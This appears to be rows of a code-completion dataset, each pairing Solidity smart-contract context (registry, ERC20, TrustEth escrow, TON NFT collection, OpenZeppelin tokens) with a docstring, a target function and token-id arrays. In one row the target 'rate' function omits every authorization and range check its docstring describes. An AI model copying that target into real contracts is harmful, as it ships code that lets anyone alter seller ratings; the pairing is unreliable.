address(0), "ERR_INVALID_NAME"); // remove the address from the registry items[_contractName].contractAddress = address(0); // if there are multiple items in the registry, move the last element to the deleted element's position // and modify last element's registryItem.nameIndex in the items collection to point to the right position in contractNames if (contractNames.length > 1) { string memory lastContractNameString = contractNames[contractNames.length - 1]; uint256 unregisterIndex = items[_contractName].nameIndex; contractNames[unregisterIndex] = lastContractNameString; bytes32 lastContractName = stringToBytes32(lastContractNameString); RegistryItem storage registryItem = items[lastContractName]; registryItem.nameIndex = unregisterIndex; } // remove the last element from the name list contractNames.length--; // zero the deleted element's index items[_contractName].nameIndex = 0; // dispatch the address update event emit AddressUpdate(_contractName, address(0)); } /** * @dev utility, converts bytes32 to a string * note that the bytes32 argument is assumed to be UTF8 encoded ASCII string * * @return string representation of the given bytes32 argument */ function bytes32ToString(bytes32 _bytes) private pure returns (string) { bytes memory byteArray = new bytes(32); for (uint256 i = 0; i < 32; i++) { byteArray[i] = _bytes[i]; } return string(byteArray); } /** * @dev utility, converts string to bytes32 * note that the bytes32 argument is assumed to be UTF8 encoded ASCII string * * @return string representation of the given bytes32 argument */ function stringToBytes32(string memory _string) private pure returns (bytes32) { bytes32 result; assembly { result := mload(add(_string, 32)) } return result; } /** * @dev deprecated, backward compatibility */ function getAddress(bytes32 _contractName) public view returns (address) { return addressOf(_contractName); } }
* @dev returns the address associated with the given contract name @param _contractName contract name @return contract address/
function addressOf(bytes32 _contractName) public view returns (address) { return items[_contractName].contractAddress; }
12,596,159
[ 1, 6154, 326, 1758, 3627, 598, 326, 864, 6835, 508, 225, 389, 16351, 461, 565, 6835, 508, 327, 6835, 1758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1758, 951, 12, 3890, 1578, 389, 16351, 461, 13, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 202, 202, 2463, 1516, 63, 67, 16351, 461, 8009, 16351, 1887, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xEA541B886E3Dd7c3557ecFA23845Cc8644efC250/sources/JOKE.sol
* @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `account` cannot be the zero address./
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "JOKE: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); }
8,220,708
[ 1, 2729, 1375, 8949, 68, 2430, 471, 22698, 2182, 358, 1375, 4631, 9191, 21006, 326, 2078, 14467, 18, 7377, 1282, 279, 288, 5912, 97, 871, 598, 1375, 2080, 68, 444, 358, 326, 3634, 1758, 18, 29076, 30, 300, 1375, 4631, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 46, 3141, 41, 30, 312, 474, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 389, 5771, 1345, 5912, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 203, 3639, 389, 4963, 3088, 1283, 1011, 3844, 31, 203, 3639, 389, 70, 26488, 63, 4631, 65, 1011, 3844, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// // This file is part of TrustEth. // Copyright (c) 2016 Jacob Dawid <[email protected]> // // TrustEth is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TrustEth is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public // License along with TrustEth. // If not, see <http://www.gnu.org/licenses/>. // contract TrustEth { // A registered transaction initiated by the seller. struct Transaction { // Supplied by the seller (Step 1). uint sellerId; // The seller id of the seller who initiated this transaction and is about to receive the payment. uint amount; // The amount to pay to the seller for this transaction. // Filled out by the contract when transaction has been paid (Step 2). address paidWithAddress; // The address of the buyer issueing the payment. bool paid; // Flag that states this transaction has already been paid. // Rating supplied by the buyer (Step 3, optional). uint ratingValue; // Seller rating supplied by buyer. string ratingComment; // Comment on this transaction supplied by the buyer. bool rated; // Flag that states this transaction has already been rated. } // A registered seller on this contract. // Registered sellers can put up transactions and can be rated // by those who paid the transactions. struct Seller { // Seller information address etherAddress; // The sellers ether address. uint[] ratingIds; // The ids of the rating linked with this seller. uint[] transactionIds; // The ids of transactions linked with this seller. // Statistics about the seller uint averageRating; // Average value of ratings. uint transactionsPaid; // How many transactions have been paid? uint transactionsRated; // How many transactions have been rated? } Transaction[] public transactions; // All transactions. Seller[] public sellers; // All sellers // This mapping makes it easier to loopkup the seller that belongs to a certain address. mapping (address => uint) sellerLookup; // The sole contract owner. address public owner; // Configured fees. uint public registrationFee; uint public transactionFee; // Only owner administration flag. modifier onlyowner { if (msg.sender == owner) _ } // Administrative functions. function TrustEth() { owner = msg.sender; // Index 0 is a marker for invalid ids. sellers.length = 1; transactions.length = 1; // Initialize fees. registrationFee = 1 ether; transactionFee = 50 finney; } function retrieveFunds() onlyowner { owner.send(this.balance); } function adjustRegistrationFee(uint fee) onlyowner { registrationFee = fee; } function adjustTransactionFee(uint fee) onlyowner { transactionFee = fee; } function setOwner(address _owner) onlyowner { owner = _owner; } // Fallback function, do not accepts payments made directly to this contract address. function() { throw; } // Make a donation and acknowledge our development efforts. Thank you! function donate() { // That's awesome. Thank you. return; } // Register your seller address for a small fee to prevent flooding and // and recurring address recreation. function register() { // Retrieve the amount of ethers that have been sent along. uint etherPaid = msg.value; if(etherPaid < registrationFee) { throw; } // Create a new seller. uint sellerId = sellers.length; sellers.length += 1; // Store seller details and bind to address. sellers[sellerId].etherAddress = msg.sender; sellers[sellerId].averageRating = 0; // Save sellerId in lookup mapping. sellerLookup[msg.sender] = sellerId; } // Workflow // As a seller, put up a transaction. function askForEther(uint amount) { // Lookup the seller. uint sellerId = sellerLookup[msg.sender]; // Check whether the seller is a registered seller. if(sellerId == 0) { throw; } // Create a new invoice. uint transactionId = transactions.length; transactions.length += 1; // Fill out seller info. transactions[transactionId].sellerId = sellerId; transactions[transactionId].amount = amount; // -> Pass transactionId to customer now. } // As a buyer, pay a transaction. function payEther(uint transactionId) { // Bail out in case the transaction id is invalid. if(transactionId < 1 || transactionId >= transactions.length) { throw; } // Retrieve the amount of ethers that have been sent along. uint etherPaid = msg.value; uint etherAskedFor = transactions[transactionId].amount; uint etherNeeded = etherAskedFor + transactionFee; // If the amount of ethers does not suffice to pay, bail out :( if(etherPaid < etherNeeded) { throw; } // Calculate how much has been overpaid. uint payback = etherPaid - etherNeeded; // ..and kindly return the payback :) msg.sender.send(payback); // Now take the remaining amount and send to the seller. sellers[transactions[transactionId].sellerId].etherAddress.send(etherAskedFor); // Rise transactions paid counter. sellers[transactions[transactionId].sellerId].transactionsPaid += 1; // Overpaid ethers send back, seller has been paid, now we're done. // Mark the transaction as finished. // Flag the invoice as paid. transactions[transactionId].paid = true; // Save the payers address so he is eligible to rate. transactions[transactionId].paidWithAddress = msg.sender; // -> Now the transaction can be rated by the address that has paid it. } // As a buyer, rate a transaction. function rate(uint transactionId, uint ratingValue, string ratingComment) { // Only the address that has paid the transaction may rate it. if(transactions[transactionId].paidWithAddress != msg.sender) { throw; } // Bail out in case the transaction id is invalid. if(transactionId < 1 || transactionId >= transactions.length) { throw; } // Oops, transaction has already been rated! if(transactions[transactionId].rated) { throw; } // Oops, transaction has not been paid yet and cannot be rated! if(!transactions[transactionId].paid) { throw; } // Rating range is from 1 (incl.) to 10 (incl.). if(ratingValue < 1 || ratingValue > 10) { throw; } transactions[transactionId].ratingValue = ratingValue; transactions[transactionId].ratingComment = ratingComment; transactions[transactionId].rated = true; uint previousTransactionCount = sellers[transactions[transactionId].sellerId].transactionsRated; uint previousTransactionRatingSum = sellers[transactions[transactionId].sellerId].averageRating * previousTransactionCount; sellers[transactions[transactionId].sellerId].averageRating = (previousTransactionRatingSum + ratingValue) / (previousTransactionCount + 1); sellers[transactions[transactionId].sellerId].transactionsRated += 1; } }
As a buyer, rate a transaction. Only the address that has paid the transaction may rate it. Bail out in case the transaction id is invalid. Oops, transaction has already been rated! Oops, transaction has not been paid yet and cannot be rated! Rating range is from 1 (incl.) to 10 (incl.).
function rate(uint transactionId, uint ratingValue, string ratingComment) { transactions[transactionId].ratingValue = ratingValue; transactions[transactionId].ratingComment = ratingComment; transactions[transactionId].rated = true; uint previousTransactionCount = sellers[transactions[transactionId].sellerId].transactionsRated; uint previousTransactionRatingSum = sellers[transactions[transactionId].sellerId].averageRating * previousTransactionCount; sellers[transactions[transactionId].sellerId].averageRating = (previousTransactionRatingSum + ratingValue) / (previousTransactionCount + 1); sellers[transactions[transactionId].sellerId].transactionsRated += 1; }
5,372,932
[ 1, 1463, 279, 27037, 16, 4993, 279, 2492, 18, 5098, 326, 1758, 716, 711, 30591, 326, 2492, 2026, 4993, 518, 18, 605, 671, 596, 316, 648, 326, 2492, 612, 353, 2057, 18, 531, 4473, 16, 2492, 711, 1818, 2118, 436, 690, 5, 531, 4473, 16, 2492, 711, 486, 2118, 30591, 4671, 471, 2780, 506, 436, 690, 5, 534, 1776, 1048, 353, 628, 404, 261, 267, 830, 12998, 358, 1728, 261, 267, 830, 18, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4993, 12, 11890, 24112, 16, 2254, 13953, 620, 16, 533, 13953, 4469, 13, 288, 203, 203, 1377, 8938, 63, 7958, 548, 8009, 17326, 620, 273, 13953, 620, 31, 203, 1377, 8938, 63, 7958, 548, 8009, 17326, 4469, 273, 13953, 4469, 31, 203, 1377, 8938, 63, 7958, 548, 8009, 86, 690, 273, 638, 31, 203, 4202, 203, 1377, 2254, 2416, 3342, 1380, 273, 357, 3135, 63, 20376, 63, 7958, 548, 8009, 1786, 749, 548, 8009, 20376, 54, 690, 31, 203, 1377, 2254, 2416, 3342, 20388, 3495, 273, 357, 3135, 63, 20376, 63, 7958, 548, 8009, 1786, 749, 548, 8009, 15621, 20388, 380, 2416, 3342, 1380, 31, 203, 203, 1377, 357, 3135, 63, 20376, 63, 7958, 548, 8009, 1786, 749, 548, 8009, 15621, 20388, 273, 261, 11515, 3342, 20388, 3495, 397, 13953, 620, 13, 342, 261, 11515, 3342, 1380, 397, 404, 1769, 203, 1377, 357, 3135, 63, 20376, 63, 7958, 548, 8009, 1786, 749, 548, 8009, 20376, 54, 690, 1011, 404, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma ton-solidity >=0.52.0; pragma AbiHeader time; pragma AbiHeader pubkey; pragma AbiHeader expire; //================================================================================ // import "../interfaces/ILiquidNFTCollection.sol"; //================================================================================ // contract LiquidNFTCollection is IBase, ILiquidNFTCollection { //======================================== // Error codes uint constant ERROR_MESSAGE_SENDER_IS_NOT_MY_OWNER = 100; uint constant ERROR_MESSAGE_OWNER_CAN_NOT_BE_ZERO = 104; uint constant ERROR_MESSAGE_TOO_MANY_CREATORS = 205; uint constant ERROR_MESSAGE_SHARE_NOT_EQUAL_100 = 206; uint constant ERROR_VALUE_NOT_ENOUGH_TO_MINT = 207; //======================================== // Events event nftMinted(uint256 id, address nftAddress); //======================================== // Variables uint256 static _nonce; // Random number to randomize collection address; TvmCell static _tokenCode; // uint256 _tokensIssued; // address _ownerAddress; // address _creatorAddress; // // Metadata string _metadataContents; // Collection metadata, for the collection cover and info; structure is the same as token metadata; // Token configuration bool _tokenPrimarySaleHappened; // Default value when minting, usually true for degens; bool _tokenMetadataIsMutable; // uint256 _tokenMasterEditionMaxSupply; // Unlimited when 0; bool _tokenMasterEditionPrintLocked; // uint16 _tokenCreatorsPercent; // 1% = 100, 100% = 10000; CreatorShare[] _tokenCreatorsShares; // //======================================== // Modifiers modifier onlyOwner { require(_checkSenderAddress(_ownerAddress), ERROR_MESSAGE_SENDER_IS_NOT_MY_OWNER); _; } //======================================== // Getters function getInfo(bool includeMetadata, bool includeTokenCode) external view override returns(uint256 nonce, TvmCell tokenCode, uint256 tokensIssued, address ownerAddress, address creatorAddress, string metadataContents, bool tokenPrimarySaleHappened, bool tokenMetadataIsMutable, uint256 tokenMasterEditionMaxSupply, bool tokenMasterEditionPrintLocked, uint16 tokenCreatorsPercent, CreatorShare[] tokenCreatorsShares) { TvmCell empty; nonce = _nonce; tokenCode = (includeTokenCode ? _tokenCode : empty); tokensIssued = _tokensIssued; ownerAddress = _ownerAddress; creatorAddress = _creatorAddress; metadataContents = (includeMetadata ? _metadataContents : ""); tokenPrimarySaleHappened = _tokenPrimarySaleHappened; tokenMetadataIsMutable = _tokenMetadataIsMutable; tokenMasterEditionMaxSupply = _tokenMasterEditionMaxSupply; tokenMasterEditionPrintLocked = _tokenMasterEditionPrintLocked; tokenCreatorsPercent = _tokenCreatorsPercent; tokenCreatorsShares = _tokenCreatorsShares; } function callInfo(bool includeMetadata, bool includeTokenCode) external view override responsible reserve returns(uint256 nonce, TvmCell tokenCode, uint256 tokensIssued, address ownerAddress, address creatorAddress, string metadataContents, bool tokenPrimarySaleHappened, bool tokenMetadataIsMutable, uint256 tokenMasterEditionMaxSupply, bool tokenMasterEditionPrintLocked, uint16 tokenCreatorsPercent, CreatorShare[] tokenCreatorsShares) { TvmCell empty; return {value: 0, flag: 128}(_nonce, (includeTokenCode ? _tokenCode : empty), _tokensIssued, _ownerAddress, _creatorAddress, (includeMetadata ? _metadataContents : ""), _tokenPrimarySaleHappened, _tokenMetadataIsMutable, _tokenMasterEditionMaxSupply, _tokenMasterEditionPrintLocked, _tokenCreatorsPercent, _tokenCreatorsShares); } //======================================== // function calculateFutureNFTAddress(uint256 tokenID, uint256 editionNumber) private inline view returns (address, TvmCell) { TvmCell stateInit = tvm.buildStateInit({ contr: LiquidNFT, varInit: { _collectionAddress: address(this), _tokenID: tokenID, _editionNumber: editionNumber }, code: _tokenCode }); return (address(tvm.hash(stateInit)), stateInit); } //======================================== // constructor(address ownerAddress, address creatorAddress, string metadataContents, bool tokenPrimarySaleHappened, bool tokenMetadataIsMutable, uint256 tokenMasterEditionMaxSupply, bool tokenMasterEditionPrintLocked, uint16 tokenCreatorsPercent, CreatorShare[] tokenCreatorsShares) public { require(ownerAddress != addressZero, ERROR_MESSAGE_OWNER_CAN_NOT_BE_ZERO); require(tokenCreatorsShares.length <= 5, ERROR_MESSAGE_TOO_MANY_CREATORS ); uint8 shareSum = 0; for(CreatorShare shareInfo : tokenCreatorsShares) { shareSum += shareInfo.creatorShare; } require(shareSum == 100, ERROR_MESSAGE_SHARE_NOT_EQUAL_100); _reserve(); // Collection configuration _tokensIssued = 0; _ownerAddress = ownerAddress; _creatorAddress = creatorAddress; _metadataContents = metadataContents; // Token configuration _tokenPrimarySaleHappened = tokenPrimarySaleHappened; _tokenMetadataIsMutable = tokenMetadataIsMutable; _tokenMasterEditionMaxSupply = tokenMasterEditionMaxSupply; _tokenMasterEditionPrintLocked = tokenMasterEditionPrintLocked; _tokenCreatorsPercent = tokenCreatorsPercent; _tokenCreatorsShares = tokenCreatorsShares; // Return the change creatorAddress.transfer(0, false, 128); } //======================================== // function createNFT(address ownerAddress, address creatorAddress, string metadataContents, address metadataAuthorityAddress) external override onlyOwner reserve returns (address tokenAddress) { require(msg.value >= gasToValue(400000, address(this).wid), ERROR_VALUE_NOT_ENOUGH_TO_MINT); // TODO: adjust value (address addr, TvmCell stateInit) = calculateFutureNFTAddress(_tokensIssued, 0); // Collection creates only masters, not prints emit nftMinted(_tokensIssued, addr); new LiquidNFT{value: 0, flag: 128, stateInit: stateInit}(ownerAddress, creatorAddress, _tokenPrimarySaleHappened, metadataContents, _tokenMetadataIsMutable, metadataAuthorityAddress, _tokenMasterEditionMaxSupply, _tokenMasterEditionPrintLocked, _tokenCreatorsPercent, _tokenCreatorsShares); _tokensIssued += 1; return addr; } //======================================== // function changeOwner(address ownerAddress) external override onlyOwner reserve returnChange { _ownerAddress = ownerAddress; } //======================================== // } //================================================================================ //
========================================
function changeOwner(address ownerAddress) external override onlyOwner reserve returnChange { _ownerAddress = ownerAddress; }
14,117,356
[ 1, 4428, 1432, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2549, 5541, 12, 2867, 3410, 1887, 13, 3903, 3849, 1338, 5541, 20501, 327, 3043, 203, 565, 288, 203, 3639, 389, 8443, 1887, 273, 3410, 1887, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity\contracts\token\ERC20\ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts\ERC865Basic.sol /** * @title ERC865Basic * @dev Simpler version of the ERC865 interface from https://github.com/adilharis2001/ERC865Demo * @author jsdavis28 * @notice ERC865Token allows for users to pay gas costs to a delegate in an ERC20 token * https://github.com/ethereum/EIPs/issues/865 */ contract ERC865Basic is ERC20 { function _transferPreSigned( bytes _signature, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) internal; event TransferPreSigned( address indexed delegate, address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity\contracts\math\SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity\contracts\token\ERC20\BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); 